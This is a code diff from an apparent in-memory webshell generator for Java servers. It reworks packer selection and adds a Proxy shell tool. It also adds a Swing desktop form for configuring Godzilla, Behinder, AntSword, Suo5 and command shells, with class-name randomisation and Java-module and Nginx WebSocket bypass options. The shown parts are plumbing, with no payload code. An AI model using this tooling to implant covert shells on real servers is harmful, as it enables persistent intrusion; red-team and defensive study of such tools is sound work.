@@ -34,23 +35,18 @@ public class ViewController {
return renderFileData(relativePath, response);
}
@GetMapping({"/ui/docs/*.data", "/ui/*.data"})
@ResponseBody
public String handleDataFile(HttpServletRequest request, HttpServletResponse response) throws IOException {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
String relativePath = fullPath.substring(4);
return renderFileData(relativePath, response);
}
@GetMapping("/ui/**")
public String handleHtmlView(HttpServletRequest request) {
@SneakyThrows
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
return "index";
}
String viewPath = fullPath.substring(4);
return viewPath + "/index";
String docPath = fullPath.substring(4);
if (docPath.endsWith(".data")) {
return ResponseEntity.ok(renderFileData(docPath, response));
}
return docPath + "/index";
}
private String renderFileData(String relativePath, HttpServletResponse response) {
@@ -61,8 +57,6 @@ public class ViewController {
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
return "File not found: " + relativePath;
}
response.setContentType(MediaType.TEXT_PLAIN_VALUE);
response.setCharacterEncoding("UTF-8");
InputStreamReader reader = new InputStreamReader(
resource.getInputStream(),
StandardCharsets.UTF_8
@@ -1,7 +1,6 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.packer.Packers;
import lombok.Data;
import static com.reajason.javaweb.memshell.ShellTool.*;
@@ -15,7 +14,7 @@ public class MemShellGenerateRequest {
private ShellConfig shellConfig;
private ShellToolConfigDTO shellToolConfig;
private InjectorConfig injectorConfig;
private Packers packer;
private PackerRequestSpecDTO packerSpec;
@Data
public static class ShellToolConfigDTO {
@@ -51,6 +50,8 @@ public class MemShellGenerateRequest {
case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.paramName(shellToolConfig.getCommandParamName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.template(shellToolConfig.getCommandTemplate())
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
@@ -75,6 +76,10 @@ public class MemShellGenerateRequest {
.shellClassBase64(shellToolConfig.getShellClassBase64())
.shellClassName(shellToolConfig.getShellClassName())
.build();
case Proxy -> ProxyConfig.builder()
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.shellClassName(shellToolConfig.shellClassName).build();
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
};
}
@@ -1,29 +1,18 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.MemShellResult;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/18
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
public class MemShellGenerateResponse {
private MemShellResult memShellResult;
private String packResult;
private Map<String, String> allPackResults;
public MemShellGenerateResponse(MemShellResult memShellResult, String packResult) {
this.memShellResult = memShellResult;
this.packResult = packResult;
}
public MemShellGenerateResponse(MemShellResult memShellResult, Map<String, String> allPackResults) {
this.allPackResults = allPackResults;
this.memShellResult = memShellResult;
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.packer.spec.PackerRequestSpec;
import lombok.Data;
import java.util.LinkedHashMap;
import java.util.Map;
/**
* Packer selection request payload.
*/
@Data
public class PackerRequestSpecDTO {
private String name;
private Map<String, Object> config = new LinkedHashMap<>();
public PackerRequestSpec toPackerRequestSpec() {
PackerRequestSpec spec = new PackerRequestSpec();
spec.setName(name);
if (config != null) {
spec.setConfig(config);
}
return spec;
}
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.config.*;
import lombok.Data;
@@ -12,7 +11,7 @@ import lombok.Data;
public class ProbeShellGenerateRequest {
private ProbeConfig probeConfig;
private ProbeContentConfigDTO probeContentConfig;
private Packers packer;
private PackerRequestSpecDTO packerSpec;
@Data
static class ProbeContentConfigDTO {
@@ -1,29 +1,18 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.probe.ProbeShellResult;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/8/10
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
public class ProbeShellGenerateResponse {
private ProbeShellResult probeShellResult;
private String packResult;
private Map<String, String> allPackResults;
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, String packResult) {
this.probeShellResult = probeShellResult;
this.packResult = packResult;
}
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, Map<String, String> allPackResults) {
this.allPackResults = allPackResults;
this.probeShellResult = probeShellResult;
}
}
@@ -1,7 +1,7 @@
package com.reajason.javaweb.boot.entity;
import lombok.Data;
import lombok.Builder;
import lombok.Data;
/**
* @author ReaJason
@@ -2,7 +2,7 @@ package com.reajason.javaweb.boot.controller;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
@@ -9,9 +9,12 @@ import org.springframework.http.ResponseEntity;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
@@ -37,11 +40,4 @@ public class ConfigControllerIntegrationTest {
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
@Test
public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
}
@@ -3,11 +3,11 @@ package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
import com.reajason.javaweb.boot.dto.PackerRequestSpecDTO;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
@@ -15,6 +15,8 @@ import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import java.util.Map;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
@@ -30,6 +32,23 @@ class MemShellGeneratorControllerTest {
@Test
void generateShell() {
MemShellGenerateRequest request = buildRequest("ScriptEngine", null);
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/api/memshell/generate", request, MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
@Test
void generateJspxShellWithCustomConfig() {
MemShellGenerateRequest request = buildRequest("JSPX", Map.of("unicode", true));
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/api/memshell/generate", request, MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
private static MemShellGenerateRequest buildRequest(String packerName, Map<String, Object> packerConfig) {
MemShellGenerateRequest request = new MemShellGenerateRequest();
request.setShellConfig(ShellConfig.builder()
.server(Server.Tomcat)
@@ -43,16 +62,18 @@ class MemShellGeneratorControllerTest {
request.setInjectorConfig(InjectorConfig.builder()
.urlPattern("/*")
.build());
request.setPacker(Packers.ScriptEngine);
PackerRequestSpecDTO packerRequestSpecDTO = new PackerRequestSpecDTO();
packerRequestSpecDTO.setName(packerName);
if (packerConfig != null) {
packerRequestSpecDTO.setConfig(packerConfig);
}
request.setPackerSpec(packerRequestSpecDTO);
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
shellToolConfigDTO.setGodzillaKey("key");
shellToolConfigDTO.setGodzillaPass("pass");
shellToolConfigDTO.setHeaderName("User-Agent");
shellToolConfigDTO.setHeaderValue("hello");
request.setShellToolConfig(shellToolConfigDTO);
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/api/memshell/generate", request, MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
return request;
}
}
@@ -3,7 +3,7 @@ plugins {
}
mavenPublishing {
publishToMavenCentral()
publishToMavenCentral(automaticRelease = true, validateDeployment = true)
signAllPublications()
coordinates(
"io.github.reajason",
+10 -1
View File
@@ -1,6 +1,7 @@
plugins {
id("java")
id("idea")
id("com.vanniktech.maven.publish") version "0.35.0" apply false
}
idea {
@@ -9,10 +10,18 @@ idea {
}
}
version = "2.4.1"
version = "2.7.0-SNAPSHOT"
tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral")
dependsOn(":packer:publishToMavenCentral")
dependsOn(":generator:publishToMavenCentral")
dependsOn(":thirdparty:thirdparty-tomcat:publishToMavenCentral")
}
tasks.register("publishAllToMavenLocal") {
dependsOn(":memshell-party-common:publishToMavenLocal")
dependsOn(":packer:publishToMavenLocal")
dependsOn(":generator:publishToMavenLocal")
dependsOn(":thirdparty:thirdparty-tomcat:publishToMavenLocal")
}
+33
View File
@@ -0,0 +1,33 @@
plugins {
id("java")
id("application")
}
group = "com.reajason.javaweb"
version = rootProject.version
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
implementation(project(":generator"))
implementation(project(":packer"))
implementation("com.formdev:flatlaf:3.7")
implementation("com.miglayout:miglayout-swing:5.3")
testImplementation(libs.junit.jupiter)
testRuntimeOnly(libs.junit.platform.launcher)
}
application {
mainClass.set("com.reajason.javaweb.desktop.memshell.MemShellDesktopApplication")
}
tasks.test {
useJUnitPlatform()
}
@@ -0,0 +1,13 @@
package com.reajason.javaweb.desktop.memshell;
import com.formdev.flatlaf.FlatLightLaf;
import com.reajason.javaweb.desktop.memshell.ui.MemShellGeneratorFrame;
import javax.swing.*;
public class MemShellDesktopApplication {
public static void main(String[] args) {
FlatLightLaf.setup();
SwingUtilities.invokeLater(() -> new MemShellGeneratorFrame().setVisible(true));
}
}
@@ -0,0 +1,331 @@
package com.reajason.javaweb.desktop.memshell.controller;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import com.reajason.javaweb.desktop.memshell.model.PackerCategoryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import com.reajason.javaweb.memshell.ShellTool;
import java.util.*;
public class MemShellFormController {
private final ConfigCatalogService configCatalogService;
private final MemShellValidator validator;
private final ConfigCatalogService.ConfigCatalog catalog;
private final MemShellFormState state = new MemShellFormState();
public MemShellFormController(ConfigCatalogService configCatalogService, MemShellValidator validator) {
this.configCatalogService = configCatalogService;
this.validator = validator;
this.catalog = configCatalogService.load();
reconcileAfterServerChange(true);
reconcilePackerSelection();
}
public ConfigCatalogService getConfigCatalogService() { return configCatalogService; }
public MemShellFormState getState() { return state; }
public ConfigCatalogService.ConfigCatalog getCatalog() { return catalog; }
public MemShellValidator getValidator() { return validator; }
public List<String> getServers() {
return new ArrayList<>(catalog.getServers().keySet());
}
public List<String> getServerVersionOptions() {
return configCatalogService.getServerVersionOptions(state.getServer());
}
public List<String> getShellTools() {
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
if (toolMap == null) return Collections.emptyList();
LinkedHashSet<String> tools = new LinkedHashSet<>(toolMap.keySet());
tools.add(ShellTool.Custom);
return new ArrayList<>(tools);
}
public List<String> getCustomShellTypes() {
List<String> values = catalog.getServers().get(state.getServer());
return new ArrayList<String>(values == null ? Collections.<String>emptyList() : values);
}
public List<String> getShellTypesForCurrentTool() {
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
if (toolMap == null) return Collections.emptyList();
if (ShellTool.Custom.equals(state.getShellTool())) {
return getCustomShellTypes();
}
List<String> values = toolMap.get(state.getShellTool());
return new ArrayList<String>(values == null ? Collections.<String>emptyList() : values);
}
public List<PackerEntryModel> getFilteredPackers() {
List<PackerEntryModel> out = new ArrayList<>();
for (PackerCategoryModel c : catalog.getPackers()) {
for (PackerEntryModel p : c.getPackers()) {
if (p.isCategoryAnchor()) continue;
String name = p.getName();
String shellType = state.getShellType();
String server = state.getServer();
if (shellType != null && shellType.startsWith("Agent")) {
if (name.startsWith("Agent")) out.add(p);
continue;
}
if (server != null && server.startsWith("XXL")) {
if (!name.startsWith("Agent")) out.add(p);
continue;
}
if (!name.startsWith("Agent") && !name.toLowerCase(Locale.ROOT).startsWith("xxl")) {
out.add(p);
}
}
}
return out;
}
public PackerEntryModel getSelectedPackerEntry() {
String selected = state.getPackingMethod();
if (selected == null || selected.trim().isEmpty()) return null;
for (PackerCategoryModel c : catalog.getPackers()) {
for (PackerEntryModel p : c.getPackers()) {
if (selected.equals(p.getName())) return p;
}
}
return null;
}
public List<PackerSchemaFieldModel> getSelectedPackerFields() {
PackerEntryModel p = getSelectedPackerEntry();
return p == null ? Collections.<PackerSchemaFieldModel>emptyList() : p.getFields();
}
public List<String> getCommandEncryptors() { return catalog.getCommandEncryptors(); }
public List<String> getCommandImplementationClasses() { return catalog.getCommandImplementationClasses(); }
public void setServer(String server) {
state.setServer(server);
reconcileAfterServerChange(false);
reconcilePackerSelection();
}
public void setServerVersion(String version) { state.setServerVersion(version); }
public void setTargetJdkVersion(String value) {
state.setTargetJdkVersion(value);
try {
state.setByPassJavaModule(Integer.parseInt(value) >= 53);
} catch (Exception ignored) {
}
}
public void setShellTool(String tool) {
handleShellToolChange(tool);
reconcilePackerSelection();
}
public void setShellType(String shellType) {
state.setShellType(shellType);
state.setUrlPattern("");
reconcilePackerSelection();
}
public void setUrlPattern(String urlPattern) { state.setUrlPattern(urlPattern); }
public void setDebug(boolean value) { state.setDebug(value); }
public void setProbe(boolean value) { state.setProbe(value); }
public void setByPassJavaModule(boolean value) { state.setByPassJavaModule(value); }
public void setLambdaSuffix(boolean value) { state.setLambdaSuffix(value); }
public void setShrink(boolean value) { state.setShrink(value); }
public void setStaticInitialize(boolean value) { state.setStaticInitialize(value); }
public void setGodzillaPass(String v) { state.setGodzillaPass(v); }
public void setGodzillaKey(String v) { state.setGodzillaKey(v); }
public void setBehinderPass(String v) { state.setBehinderPass(v); }
public void setAntSwordPass(String v) { state.setAntSwordPass(v); }
public void setCommandParamName(String v) { state.setCommandParamName(v); }
public void setCommandTemplate(String v) { state.setCommandTemplate(v); }
public void setHeaderName(String v) { state.setHeaderName(v); }
public void setHeaderValue(String v) { state.setHeaderValue(v); }
public void setShellClassBase64(String v) { state.setShellClassBase64(v); }
public void setEncryptor(String v) { state.setEncryptor(v); }
public void setImplementationClass(String v) { state.setImplementationClass(v); }
public void setShellClassName(String v) {
state.setShellClassName(v);
autoDisableRandomIfManualNames();
}
public void setInjectorClassName(String v) {
state.setInjectorClassName(v);
autoDisableRandomIfManualNames();
}
public void setRandomClassName(boolean checked) {
state.setRandomClassName(checked);
if (checked) {
state.setSavedShellClassName(state.getShellClassName());
state.setSavedInjectorClassName(state.getInjectorClassName());
state.setShellClassName("");
state.setInjectorClassName("");
} else {
state.setShellClassName(state.getSavedShellClassName());
state.setInjectorClassName(state.getSavedInjectorClassName());
}
}
public void setCustomInputMode(String mode) { state.setCustomInputMode(mode); }
public void setPacker(String packerName) {
state.setPackingMethod(packerName);
resetPackerCustomConfigToDefaults();
}
public void setPackerCustomField(String key, Object value) {
if (value == null) {
state.getPackerCustomConfig().remove(key);
} else {
state.getPackerCustomConfig().put(key, value);
}
}
public Map<String, Object> getPackerCustomConfig() { return state.getPackerCustomConfig(); }
public boolean isUrlPatternVisible() {
return validator.needsUrlPattern(state.getShellType());
}
public boolean isCommandHeaderVisible() {
return "BypassNginxWebSocket".equals(state.getShellType()) || "BypassNginxJakartaWebSocket".equals(state.getShellType());
}
public boolean isProxyHeaderVisible() { return isCommandHeaderVisible(); }
public boolean isCommandParamVisible() {
return state.getShellType() == null || !state.getShellType().contains("WebSocket");
}
public MemShellValidator.Result validate() { return validator.validate(state); }
private void reconcileAfterServerChange(boolean initial) {
List<String> serverVersions = getServerVersionOptions();
if (!serverVersions.contains(state.getServerVersion())) {
state.setServerVersion(serverVersions.get(0));
}
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
if (toolMap == null || toolMap.isEmpty()) {
return;
}
List<String> toolKeys = new ArrayList<>(toolMap.keySet());
String currentTool = state.getShellTool();
String nextTool = toolMap.containsKey(currentTool) ? currentTool : toolKeys.get(0);
state.setShellTool(nextTool);
String currentTargetJdk = state.getTargetJdkVersion();
int currentJdk = parseInt(currentTargetJdk, 50);
boolean raise = ("SpringWebFlux".equals(state.getServer()) || "XXLJOB".equals(state.getServer())) && currentJdk <= 52;
state.setTargetJdkVersion(raise ? "52" : "50");
state.setByPassJavaModule(parseInt(state.getTargetJdkVersion(), 50) >= 53);
if (!initial) {
state.setUrlPattern("");
}
if (!serverVersions.contains(state.getServerVersion())) {
state.setServerVersion(serverVersions.get(0));
}
ensureShellTypeValidForCurrentTool();
}
private void ensureShellTypeValidForCurrentTool() {
List<String> shellTypes = getShellTypesForCurrentTool();
if (shellTypes.isEmpty()) {
state.setShellType("");
return;
}
if (!shellTypes.contains(state.getShellType())) {
state.setShellType(shellTypes.get(0));
}
}
private void handleShellToolChange(String value) {
if (value == null || value.trim().isEmpty()) return;
state.setUrlPattern("");
state.setShellClassName("");
state.setInjectorClassName("");
if (ShellTool.Command.equals(value)) {
state.setCommandParamName("");
state.setImplementationClass("");
state.setEncryptor("");
} else if (ShellTool.Godzilla.equals(value)) {
state.setGodzillaKey("");
state.setGodzillaPass("");
state.setHeaderName("User-Agent");
state.setHeaderValue("");
} else if (ShellTool.Behinder.equals(value)) {
state.setBehinderPass("");
state.setHeaderName("User-Agent");
state.setHeaderValue("");
} else if (ShellTool.Suo5.equals(value) || ShellTool.Suo5v2.equals(value)) {
state.setHeaderName("User-Agent");
state.setHeaderValue("");
} else if (ShellTool.AntSword.equals(value)) {
state.setAntSwordPass("");
state.setHeaderName("User-Agent");
state.setHeaderValue("");
} else if (ShellTool.NeoreGeorg.equals(value)) {
state.setHeaderName("Referer");
state.setHeaderValue("");
} else if (ShellTool.Custom.equals(value)) {
state.setShellClassBase64("");
} else if (ShellTool.Proxy.equals(value)) {
state.setHeaderName("User-Agent");
state.setHeaderValue("");
}
state.setShellTool(value);
ensureShellTypeValidForCurrentTool();
}
private void reconcilePackerSelection() {
List<PackerEntryModel> filtered = getFilteredPackers();
if (filtered.isEmpty()) {
state.setPackingMethod("");
state.getPackerCustomConfig().clear();
return;
}
boolean exists = filtered.stream().anyMatch(p -> p.getName().equals(state.getPackingMethod()));
if (!exists) {
state.setPackingMethod(filtered.get(0).getName());
resetPackerCustomConfigToDefaults();
} else if (state.getPackerCustomConfig().isEmpty()) {
resetPackerCustomConfigToDefaults();
}
}
private void resetPackerCustomConfigToDefaults() {
state.getPackerCustomConfig().clear();
PackerEntryModel selected = getSelectedPackerEntry();
if (selected != null) {
state.getPackerCustomConfig().putAll(selected.getDefaultConfig());
}
}
private void autoDisableRandomIfManualNames() {
if (state.isRandomClassName() && (!state.getShellClassName().trim().isEmpty() || !state.getInjectorClassName().trim().isEmpty())) {
state.setRandomClassName(false);
}
if (!state.isRandomClassName()) {
state.setSavedShellClassName(state.getShellClassName());
state.setSavedInjectorClassName(state.getInjectorClassName());
}
}
private int parseInt(String v, int d) {
try {
return Integer.parseInt(v);
} catch (Exception e) {
return d;
}
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.desktop.memshell.model;
import com.reajason.javaweb.memshell.MemShellResult;
public class DesktopMemShellGenerateResult {
private final MemShellResult memShellResult;
private final String packMethod;
private final String packResult;
private final boolean jarOutput;
private final boolean agentOutput;
public DesktopMemShellGenerateResult(MemShellResult memShellResult, String packMethod, String packResult) {
this.memShellResult = memShellResult;
this.packMethod = packMethod;
this.packResult = packResult;
this.jarOutput = packMethod != null && packMethod.endsWith("Jar");
this.agentOutput = packMethod != null && packMethod.startsWith("Agent");
}
public MemShellResult getMemShellResult() { return memShellResult; }
public String getPackMethod() { return packMethod; }
public String getPackResult() { return packResult; }
public boolean isJarOutput() { return jarOutput; }
public boolean isAgentOutput() { return agentOutput; }
}
@@ -0,0 +1,145 @@
package com.reajason.javaweb.desktop.memshell.model;
import java.util.LinkedHashMap;
import java.util.Map;
public class MemShellFormState {
private String server = "Tomcat";
private String serverVersion = "Unknown";
private String targetJdkVersion = "50";
private boolean debug;
private boolean byPassJavaModule;
private boolean probe;
private boolean lambdaSuffix;
private boolean shrink = true;
private boolean staticInitialize = true;
private String shellTool = "Godzilla";
private String shellType = "Listener";
private String urlPattern = "/*";
private String shellClassName = "";
private String injectorClassName = "";
private String godzillaPass = "";
private String godzillaKey = "";
private String behinderPass = "";
private String antSwordPass = "";
private String commandParamName = "";
private String commandTemplate = "";
private String headerName = "User-Agent";
private String headerValue = "";
private String shellClassBase64 = "";
private String encryptor = "";
private String implementationClass = "";
private String packingMethod = "";
private final Map<String, Object> packerCustomConfig = new LinkedHashMap<>();
private boolean randomClassName = true;
private String customInputMode = "base64";
private String savedShellClassName = "";
private String savedInjectorClassName = "";
public MemShellFormState copy() {
MemShellFormState c = new MemShellFormState();
c.server = server;
c.serverVersion = serverVersion;
c.targetJdkVersion = targetJdkVersion;
c.debug = debug;
c.byPassJavaModule = byPassJavaModule;
c.probe = probe;
c.lambdaSuffix = lambdaSuffix;
c.shrink = shrink;
c.staticInitialize = staticInitialize;
c.shellTool = shellTool;
c.shellType = shellType;
c.urlPattern = urlPattern;
c.shellClassName = shellClassName;
c.injectorClassName = injectorClassName;
c.godzillaPass = godzillaPass;
c.godzillaKey = godzillaKey;
c.behinderPass = behinderPass;
c.antSwordPass = antSwordPass;
c.commandParamName = commandParamName;
c.commandTemplate = commandTemplate;
c.headerName = headerName;
c.headerValue = headerValue;
c.shellClassBase64 = shellClassBase64;
c.encryptor = encryptor;
c.implementationClass = implementationClass;
c.packingMethod = packingMethod;
c.packerCustomConfig.putAll(packerCustomConfig);
c.randomClassName = randomClassName;
c.customInputMode = customInputMode;
c.savedShellClassName = savedShellClassName;
c.savedInjectorClassName = savedInjectorClassName;
return c;
}
public Map<String, Object> getPackerCustomConfig() { return packerCustomConfig; }
public String getServer() { return server; }
public void setServer(String server) { this.server = server; }
public String getServerVersion() { return serverVersion; }
public void setServerVersion(String serverVersion) { this.serverVersion = serverVersion; }
public String getTargetJdkVersion() { return targetJdkVersion; }
public void setTargetJdkVersion(String targetJdkVersion) { this.targetJdkVersion = targetJdkVersion; }
public boolean isDebug() { return debug; }
public void setDebug(boolean debug) { this.debug = debug; }
public boolean isByPassJavaModule() { return byPassJavaModule; }
public void setByPassJavaModule(boolean byPassJavaModule) { this.byPassJavaModule = byPassJavaModule; }
public boolean isProbe() { return probe; }
public void setProbe(boolean probe) { this.probe = probe; }
public boolean isLambdaSuffix() { return lambdaSuffix; }
public void setLambdaSuffix(boolean lambdaSuffix) { this.lambdaSuffix = lambdaSuffix; }
public boolean isShrink() { return shrink; }
public void setShrink(boolean shrink) { this.shrink = shrink; }
public boolean isStaticInitialize() { return staticInitialize; }
public void setStaticInitialize(boolean staticInitialize) { this.staticInitialize = staticInitialize; }
public String getShellTool() { return shellTool; }
public void setShellTool(String shellTool) { this.shellTool = shellTool; }
public String getShellType() { return shellType; }
public void setShellType(String shellType) { this.shellType = shellType; }
public String getUrlPattern() { return urlPattern; }
public void setUrlPattern(String urlPattern) { this.urlPattern = urlPattern; }
public String getShellClassName() { return shellClassName; }
public void setShellClassName(String shellClassName) { this.shellClassName = shellClassName == null ? "" : shellClassName; }
public String getInjectorClassName() { return injectorClassName; }
public void setInjectorClassName(String injectorClassName) { this.injectorClassName = injectorClassName == null ? "" : injectorClassName; }
public String getGodzillaPass() { return godzillaPass; }
public void setGodzillaPass(String godzillaPass) { this.godzillaPass = nv(godzillaPass); }
public String getGodzillaKey() { return godzillaKey; }
public void setGodzillaKey(String godzillaKey) { this.godzillaKey = nv(godzillaKey); }
public String getBehinderPass() { return behinderPass; }
public void setBehinderPass(String behinderPass) { this.behinderPass = nv(behinderPass); }
public String getAntSwordPass() { return antSwordPass; }
public void setAntSwordPass(String antSwordPass) { this.antSwordPass = nv(antSwordPass); }
public String getCommandParamName() { return commandParamName; }
public void setCommandParamName(String commandParamName) { this.commandParamName = nv(commandParamName); }
public String getCommandTemplate() { return commandTemplate; }
public void setCommandTemplate(String commandTemplate) { this.commandTemplate = nv(commandTemplate); }
public String getHeaderName() { return headerName; }
public void setHeaderName(String headerName) { this.headerName = nv(headerName); }
public String getHeaderValue() { return headerValue; }
public void setHeaderValue(String headerValue) { this.headerValue = nv(headerValue); }
public String getShellClassBase64() { return shellClassBase64; }
public void setShellClassBase64(String shellClassBase64) { this.shellClassBase64 = nv(shellClassBase64); }
public String getEncryptor() { return encryptor; }
public void setEncryptor(String encryptor) { this.encryptor = nv(encryptor); }
public String getImplementationClass() { return implementationClass; }
public void setImplementationClass(String implementationClass) { this.implementationClass = nv(implementationClass); }
public String getPackingMethod() { return packingMethod; }
public void setPackingMethod(String packingMethod) { this.packingMethod = nv(packingMethod); }
public boolean isRandomClassName() { return randomClassName; }
public void setRandomClassName(boolean randomClassName) { this.randomClassName = randomClassName; }
public String getCustomInputMode() { return customInputMode; }
public void setCustomInputMode(String customInputMode) { this.customInputMode = nv(customInputMode); }
public String getSavedShellClassName() { return savedShellClassName; }
public void setSavedShellClassName(String savedShellClassName) { this.savedShellClassName = nv(savedShellClassName); }
public String getSavedInjectorClassName() { return savedInjectorClassName; }
public void setSavedInjectorClassName(String savedInjectorClassName) { this.savedInjectorClassName = nv(savedInjectorClassName); }
private static String nv(String v) { return v == null ? "" : v; }
}
@@ -0,0 +1,15 @@
package com.reajason.javaweb.desktop.memshell.model;
import java.util.ArrayList;
import java.util.List;
public class PackerCategoryModel {
private String name;
private final List<PackerEntryModel> packers = new ArrayList<>();
public PackerCategoryModel() {}
public PackerCategoryModel(String name) { this.name = name; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public List<PackerEntryModel> getPackers() { return packers; }
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.desktop.memshell.model;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
public class PackerEntryModel {
private String categoryName;
private String name;
private String outputKind;
private boolean categoryAnchor;
private final List<PackerSchemaFieldModel> fields = new ArrayList<>();
private final Map<String, Object> defaultConfig = new LinkedHashMap<>();
public String getCategoryName() { return categoryName; }
public void setCategoryName(String categoryName) { this.categoryName = categoryName; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public String getOutputKind() { return outputKind; }
public void setOutputKind(String outputKind) { this.outputKind = outputKind; }
public boolean isCategoryAnchor() { return categoryAnchor; }
public void setCategoryAnchor(boolean categoryAnchor) { this.categoryAnchor = categoryAnchor; }
public List<PackerSchemaFieldModel> getFields() { return fields; }
public Map<String, Object> getDefaultConfig() { return defaultConfig; }
public String displayLabel() {
return categoryName == null || categoryName.equals(name) ? name : categoryName + " / " + name;
}
}
@@ -0,0 +1,43 @@
package com.reajason.javaweb.desktop.memshell.model;
import java.util.ArrayList;
import java.util.List;
public class PackerSchemaFieldModel {
public static class Option {
private String value;
private String label;
public Option() {}
public Option(String value, String label) {
this.value = value;
this.label = label;
}
public String getValue() { return value; }
public void setValue(String value) { this.value = value; }
public String getLabel() { return label; }
public void setLabel(String label) { this.label = label; }
}
private String key;
private String type;
private boolean required;
private Object defaultValue;
private String description;
private String descriptionI18nKey;
private final List<Option> options = new ArrayList<>();
public String getKey() { return key; }
public void setKey(String key) { this.key = key; }
public String getType() { return type; }
public void setType(String type) { this.type = type; }
public boolean isRequired() { return required; }
public void setRequired(boolean required) { this.required = required; }
public Object getDefaultValue() { return defaultValue; }
public void setDefaultValue(Object defaultValue) { this.defaultValue = defaultValue; }
public String getDescription() { return description; }
public void setDescription(String description) { this.description = description; }
public String getDescriptionI18nKey() { return descriptionI18nKey; }
public void setDescriptionI18nKey(String descriptionI18nKey) { this.descriptionI18nKey = descriptionI18nKey; }
public List<Option> getOptions() { return options; }
}
@@ -0,0 +1,127 @@
package com.reajason.javaweb.desktop.memshell.service;
import com.reajason.javaweb.desktop.memshell.model.PackerCategoryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.spec.PackerFieldSchema;
import com.reajason.javaweb.packer.spec.PackerOptionValue;
import com.reajason.javaweb.packer.spec.PackerSchema;
import java.util.*;
import java.util.stream.Collectors;
public class ConfigCatalogService {
